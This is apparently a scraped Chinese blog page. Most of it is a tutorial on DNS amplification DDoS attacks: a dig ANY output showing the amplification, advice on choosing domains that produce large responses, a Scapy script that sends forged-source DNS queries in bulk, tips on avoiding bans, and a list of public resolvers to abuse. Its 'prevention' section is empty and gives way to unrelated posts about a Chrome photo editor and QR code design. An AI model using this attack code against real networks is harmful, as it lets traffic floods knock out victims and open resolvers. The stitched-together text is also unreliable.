DNS放大攻击原理及实现

原理

一般的DNS查询是基于UDP(53)的,具有源不可验证性。(相反的,TCP协议是三步握手连接,所以是可以信任的)
而当我们伪装一个src = '192.168.1.2',dst = '192.168.1.1'的DNS Query时,192.168.1.1将返回Respone给192.168.1.2。所以,我们可以通过伪装大量这样的Query,通过拥有高带宽的DNS服务器对src发起攻击。

然而,事实上,这就是普通的UDP攻击,但它与之的新特性是,DNS放大攻击的危害更大。传统的UDP攻击效果取决于攻击者的攻击带宽,而新型的DNS放大攻击取决于DNS服务器的带宽。(在这种关系下,DNS服务器既是攻击者,也是受害者)

比如我们向某递归DNS 服务器发送一个类型为ANY的域名查询请求(64 byte),然后收到了820 byte的Respone。

[email protected]:~#dig any isc.org @61.187.***.***
;; Truncated, retrying in TCP mode.

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> any isc.org @61.187.***.***
;; global options: +cmd
;; Got answer:
;; ->>HEADER< ;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 10

;; QUESTION SECTION:
;isc.org. IN ANY

;; ANSWER SECTION:
isc.org. 40 IN A 149.20.64.69
isc.org. 7030 IN NS sfba.sns-pb.isc.org.
isc.org. 7030 IN NS ord.sns-pb.isc.org.
isc.org. 7030 IN NS ns.isc.afilias-nst.info.
isc.org. 7030 IN NS ams.sns-pb.isc.org.
isc.org. 7030 IN SOA ns-int.isc.org. hostmaster.isc.org. 2015050900 7200 3600 24796800 3600
isc.org. 7030 IN MX 10 mx.pao1.isc.org.
isc.org. 7030 IN MX 10 mx.ams1.isc.org.
isc.org. 7030 IN TXT "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"
isc.org. 7030 IN TXT "$Id: isc.org,v 1.1979 2015-05-04 19:31:54 jquale Exp $"
isc.org. 40 IN AAAA 2001:4f8:0:2::69
isc.org. 7030 IN NAPTR 20 0 "S" "SIP+D2U" "" _sip._udp.isc.org.
isc.org. 7030 IN SPF "v=spf1 a mx ip4:204.152.184.0/21 ip4:149.20.0.0/16 ip6:2001:04F8::0/32 ip6:2001:500:60::65/128 ~all"

;; ADDITIONAL SECTION:
sfba.sns-pb.isc.org. 7030 IN A 149.20.64.3
sfba.sns-pb.isc.org. 7030 IN AAAA 2001:4f8:0:2::19
ord.sns-pb.isc.org. 7030 IN A 199.6.0.30
ord.sns-pb.isc.org. 7030 IN AAAA 2001:500:71::30
ams.sns-pb.isc.org. 7030 IN A 199.6.1.30
ams.sns-pb.isc.org. 7030 IN AAAA 2001:500:60::30
mx.pao1.isc.org. 3430 IN A 149.20.64.53
mx.pao1.isc.org. 3430 IN AAAA 2001:4f8:0:2::2b
mx.ams1.isc.org. 3430 IN A 199.6.1.65
mx.ams1.isc.org. 3430 IN AAAA 2001:500:60::65

;; Query time: 12 msec
;; SERVER: 61.187.***.***#53(61.187.***.***)
;; WHEN: Sun May 10 10:03:15 2015
;; MSG SIZE rcvd: 820

由于DNS查询请求通常为无连接的UDP类型,所以攻击者只要使用1G的伪造源地址DNS查询流量,理论上就可能获得超过50G的UDP流量,并且可以控制其流向导引到攻击目标。对于拥有成千上万台被控主机的僵尸木马网络来说,发出几个G乃至数十G的DNS查询流量并不困难,而开放式递归服务器在全球数量超过千万台,并且这些服务器接入带宽往往较高。如果控制每台 DNS只产生 30M的应答攻击流量(太大的 DNS流量会被管理员发现并可能影响服务器正常工作),那么只需要1万台就可以达到300G DDoS流量攻击的效果。
——上海交通大学网络信息中心

危害

  • 伪造的src主机会收到大量的Respone造成拒绝响应
  • 目标DNS服务可能瘫痪,且上级DNS服务器进行递归查询,可能会耗尽资源

筛选

放大倍数越大,DNS放大攻击的效果越明显,显然,我们需要通过寻求一些域名记录较多的域名进行查询,如 isc.org, GitHub.com, Google.com, Logdown.com, SourceForgenet,当然,一些较常用的,可能已经被列入DNS查询白名单的域名也是很好的选择,如 Baidu.com, Gov.cn之类的。

实现

由于Python简单上手模块多,所以我们选择Python作为我们的开发语言。(这就是为什么那么多EXP都用Python的缘故吧)

from scapy.all import *
a = IP(dst='',src='')
b = UDP(dport='53')
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='domain',qtype=1,qclass=1)
p = a/b/c
send(p,count=case)

此时,src主机就会收到case条DNS Respone。

进阶

  • 参考DNS协议报文格式,发送类型为ANY的Query试试
  • 尝试索引 *.3322.org, *.oicp.net, *.eicp.net, *.xicp.net进行递归查询防止被ban

常用DNS服务器

OneDNS 112.124.47.27
OpenerDNS 42.120.21.30
aliDNS 223.5.5.5,223.6.6.6
114DNS 114.114.114.114,114.114.115.115
114DNS安全版 114.114.114.119,114.114.115.119
114DNS家庭版 114.114.114.110,114.114.115.110(推介)

防治

Polarr Photo Editor RAW——一款近乎全能的专业图像处理插件

Polarr Photo Editor RAW 是一款运行于 Chrome 的 Chrome 插件,自从 Chrome 拥有了 Chrome 应用启动器功能之后,我们便可以直接从外部启动 Chrome 插件。
polarr-1

polarr-2

polarr-3

主界面左侧是各式各样的图像滤镜,主界面右侧则是非常丰富的照片调节选项,从一般的的光影,图像裁切,到色彩曲线、局部调整,比很多图像软件(美图秀秀之类的还要专业)。
左方的濾鏡有許多預設效果可以直接點選套用,或是利用好运气,让 Polarr Photo Editor RAW 根据照片自动挑选不同的特效。
并且还支持许多相机的RAW文件编辑:

Sony ARW RAW
Canon CR2 RAW
Nikon NEF RAW
Pentax DNG RAW
Fuji RAW RAW
Panasonic RW2 RAW
Olympus ORF RAW

关于二维码设计的那点事

二维码在中国火起来基本上全靠微信,这种信息存储方式可以保存比条形码多得多的信息,因此在国内通常用于链接地址的收发。在而在平面及网页设计中,设计师们在面对这种由黑白小方块组成的难以处理的图片,几乎不知该从何下手,直接 pia 在作品上又如膏药一般,难以驾驭。

关于二维码

二维码其实是是个统称,如果各位坐过飞机,在飞机的登机牌上也会有一块用于扫描的长方形区域,那是在上世纪九十年代初就出现的,被称作 PDF417 格式的二维码,现在广泛应用于航空及物流行业中。而我们现在更常见到的,也是本文主要探讨的,是由日本 DENSO WAVE 公司在 1994 年发明的 QR 码(全称为快速响应矩阵码;英语:Quick Response Code),QR 码由 DENSO WAVE 公司持有专利,但开放标准,不行使专利权,也就是说,任意人或组织,都可以随意使用 QR 码这一标准专利而无需向其专利拥有者提出申请。

关于对二维码进行设计及再次创作,其公司是这么指出的

在QR码上重叠插图或加以设计变形,就需要利用QR码的纠错功能进行读取,而有时会因为一点污痕或缺失而无法读取,或者读取速度变慢,对此需要引以注意。
为了确保稳定的读取,还是建议遵从根据JIS、ISO的规格制定的内容加以利用。
而且,在QR码上重叠插图或加入设计与QR码的规格不符,有可能无法形成QR码。
DENSO WAVE INCORPORATED不行使专利权仅限于符合JIS、ISO规格的QR码,那些与规格不符的QR码不在此列,因而DENSO WAVE INCORPORATED有可能会行使专利权。 若考虑在QR码上重叠插图或施加设计的使用方法,请事先与DENSO WAVE INCORPORATED洽谈。

这段话大概意思就是说,对 QR 码进行设计的时候,有可能导致 QR 码无法被正常读取,而与此同时,对 QR 码的设计行为有可能会导致 DENSO WAVE 来查水表 XDD 当然这也只能算是官话,因为在他们公司的另外一段文章中,其发明者也提到

原昌宏表示:“黑白两色的码对人们来说已经习以为常,我希望制作出更为漂亮、能给人们带来惊喜的QR码”。

所以其实 DENSO WAVE 是鼓励用户对 QR 码进行设计的,毕竟这样也可以更好地推广 QR 码嘛 XDD
Read More